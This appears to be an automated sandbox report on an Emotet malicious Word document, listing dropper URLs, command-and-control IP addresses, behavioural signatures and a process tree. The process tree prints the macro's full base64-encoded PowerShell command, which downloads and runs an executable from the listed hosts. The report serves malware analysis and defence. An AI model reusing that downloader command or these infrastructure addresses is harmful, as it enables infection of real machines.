Analysis

  • max time kernel
    135s
  • max time network
    131s
  • platform
    windows10_x64
  • resource
    win10v200722
  • submitted
    11/08/2020, 08:53

General

  • Target
    emotet_e3_4597432569ef4ac0f059bbf50dd60697eabf6db4eaa073732fcb93eeb3c3b298_2020-08-11__085225._doc.doc
  • Size 226KB
  • Sample200811-pgrhm4xsys
  • SHA256 4597432569ef4ac0f059bbf50dd60697eabf6db4eaa073732fcb93eeb3c3b298
  • MD5 SHA1 SHA512
Score
10/10

Malware Config

Extracted

Language
  • ps1

Source
URLs
  • exe.dropper

    http://stoutarc.com/assets/hoTVnj/

  • exe.dropper

    http://soundaffairs.net/logs/yzht756773/

  • exe.dropper

    http://sukhumvithomes.com/sathorncondos.com/N6dWb36edu55270418/

  • exe.dropper

    http://adopteerightslaw.org/yaook/ran/

  • exe.dropper

    http://liveheart.co.jp/img/qyH/

Extracted

Family
  • emotet

C2
  • 202.5.47.71:80

  • 139.99.157.213:8080

  • 188.166.25.84:8080

  • 31.146.61.34:80

  • 115.165.3.213:80

  • 177.144.130.105:443

  • 153.220.182.49:80

  • 203.153.216.182:7080

  • 192.210.217.94:8080

  • 105.209.235.113:8080

  • 50.116.78.109:8080

  • 182.187.139.200:8080

  • 157.7.164.178:8081

  • 74.208.173.91:8080

  • 187.64.128.197:80

  • 139.59.12.63:8080

  • 97.104.107.190:80

  • 114.173.201.110:80

  • 181.143.101.19:8080

  • 177.37.81.212:443

rsa_pubkey.plain

Signatures

  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Emotet Payload 4 IoCs

    Detects Emotet payload in memory.

  • Blacklisted process makes network request 3 IoCs
  • Executes dropped EXE 2 IoCs
  • Drops file in System32 directory 1 IoCs
  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 9 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 13 IoCs
  • Suspicious use of WriteProcessMemory 3 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e3_4597432569ef4ac0f059bbf50dd60697eabf6db4eaa073732fcb93eeb3c3b298_2020-08-11__085225._doc.doc" /o ""
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    PID:3608
  • C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exe
    powersheLL -e JABGAFkASwBCAFcAeQBuAHQAPQAnAFUAQQBLAE8AUABxAGIAeAAnADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBzAEUAYABDAFUAUgBpAHQAYAB5AHAAUgBvAHQATwBgAEMAYABPAGwAIgAgAD0AIAAnAHQAbABzADEAMgAsACAAdABsAHMAMQAxACwAIAB0AGwAcwAnADsAJABaAE4ASgBBAEMAYgB1AG4AIAA9ACAAJwA4ADgAMgAnADsAJABRAEIAUABJAFUAaQBtAGYAPQAnAEcATwBXAEYASAB5AGYAZAAnADsAJABHAEgATABOAE0AcgBuAGkAPQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAJwBcACcAKwAkAFoATgBKAEEAQwBiAHUAbgArACcALgBlAHgAZQAnADsAJABGAEsATgBaAFQAcQBzAGkAPQAnAEwAWABUAFoARgBlAGYAeAAnADsAJABBAEYAWgBaAFMAZwBlAGUAPQAmACgAJwBuAGUAdwAtAG8AJwArACcAYgAnACsAJwBqAGUAYwB0ACcAKQAgAE4AZQBUAC4AVwBFAEIAQwBsAEkAZQBOAHQAOwAkAEQATwBIAFYAQwBrAG0AcwA9ACcAaAB0AHQAcAA6AC8ALwBzAHQAbwB1AHQAYQByAGMALgBjAG8AbQAvAGEAcwBzAGUAdABzAC8AaABvAFQAVgBuAGoALwAqAGgAdAB0AHAAOgAvAC8AcwBvAHUAbgBkAGEAZgBmAGEAaQByAHMALgBuAGUAdAAvAGwAbwBnAHMALwB5AHoAaAB0ADcANQA2ADcANwAzAC8AKgBoAHQAdABwADoALwAvAHMAdQBrAGgAdQBtAHYAaQB0AGgAbwBtAGUAcwAuAGMAbwBtAC8AcwBhAHQAaABvAHIAbgBjAG8AbgBkAG8AcwAuAGMAbwBtAC8ATgA2AGQAVwBiADMANgBlAGQAdQA1ADUAMgA3ADAANAAxADgALwAqAGgAdAB0AHAAOgAvAC8AYQBkAG8AcAB0AGUAZQByAGkAZwBoAHQAcwBsAGEAdwAuAG8AcgBnAC8AeQBhAG8AbwBrAC8AcgBhAG4ALwAqAGgAdAB0AHAAOgAvAC8AbABpAHYAZQBoAGUAYQByAHQALgBjAG8ALgBqAHAALwBpAG0AZwAvAHEAeQBIAC8AJwAuACIAcwBgAFAATABpAFQAIgAoAFsAYwBoAGEAcgBdADQAMgApADsAJABQAFAAUQBTAEsAcwBnAG0APQAnAFgAVQBEAFAASgBuAGcAcgAnADsAZgBvAHIAZQBhAGMAaAAoACQASABRAFkAQQBVAGwAawBiACAAaQBuACAAJABEAE8ASABWAEMAawBtAHMAKQB7AHQAcgB5AHsAJABBAEYAWgBaAFMAZwBlAGUALgAiAEQAbwBXAG4ATABvAGEAYABEAEYAYABpAGwAZQAiACgAJABIAFEAWQBBAFUAbABrAGIALAAgACQARwBIAEwATgBNAHIAbgBpACkAOwAkAEIAUQBJAFoAUABsAHEAYQA9ACcATwBIAEoAUgBBAGoAbgBwACcAOwBJAGYAIAAoACgAJgAoACcARwBlACcAKwAnAHQALQBJAHQAJwArACcAZQBtACcAKQAgACQARwBIAEwATgBNAHIAbgBpACkALgAiAGwARQBOAEcAYABUAGgAIgAgAC0AZwBlACAAMwAwADAANQA2ACkAIAB7ACgAWwB3AG0AaQBjAGwAYQBzAHMAXQAnAHcAaQBuADMAMgBfAFAAcgBvAGMAZQBzAHMAJwApAC4AIgBjAHIAZQBgAEEAVABlACIAKAAkAEcASABMAE4ATQByAG4AaQApADsAJABNAEEAVQBUAEgAYwB1AG4APQAnAFYATwBGAFQATgBzAGQAaAAnADsAYgByAGUAYQBrADsAJABQAFoARgBDAEoAbABzAGUAPQAnAEcAVQBUAEMAVABhAGMAZQAnAH0AfQBjAGEAdABjAGgAewB9AH0AJABIAFcAQgBXAFYAeABiAGYAPQAnAEkATwBWAFkAVwBiAGwAegAnAA==
    1⤵
    • Process spawned unexpected child process
    • Blacklisted process makes network request
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    PID:1868
  • C:\Users\Admin\882.exe
    C:\Users\Admin\882.exe
    1⤵
    • Executes dropped EXE
    • Drops file in System32 directory
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:4084
    • C:\Windows\SysWOW64\MP3DMOD\Windows.UI.Immersive.exe
      "C:\Windows\SysWOW64\MP3DMOD\Windows.UI.Immersive.exe"
      2⤵
      • Executes dropped EXE
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of SetWindowsHookEx
      PID:3876

Network

        MITRE ATT&CK Enterprise v6

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        memory/1868-7-0x00007FFB2EA50000-0x00007FFB2F43C000-memory.dmp

        memory/1868-9-0x000001CF75650000-0x000001CF75651000-memory.dmp

        memory/1868-8-0x000001CF754A0000-0x000001CF754A1000-memory.dmp

        memory/3608-4-0x00000186F78A9000-0x00000186F78AA000-memory.dmp

        memory/3608-6-0x00000186F78AB000-0x00000186F78AD000-memory.dmp

        memory/3608-5-0x00000186F78A8000-0x00000186F78A9000-memory.dmp

        memory/3608-0-0x00007FFB36050000-0x00007FFB36716000-memory.dmp

        memory/3608-3-0x00000186F78AA000-0x00000186F78AB000-memory.dmp

        memory/3608-2-0x00000186F773D000-0x00000186F7742000-memory.dmp

        memory/3608-1-0x00000186F773D000-0x00000186F7742000-memory.dmp

        memory/3876-15-0x0000000000B00000-0x0000000000B0C000-memory.dmp

        memory/4084-12-0x0000000000AB0000-0x0000000000ABC000-memory.dmp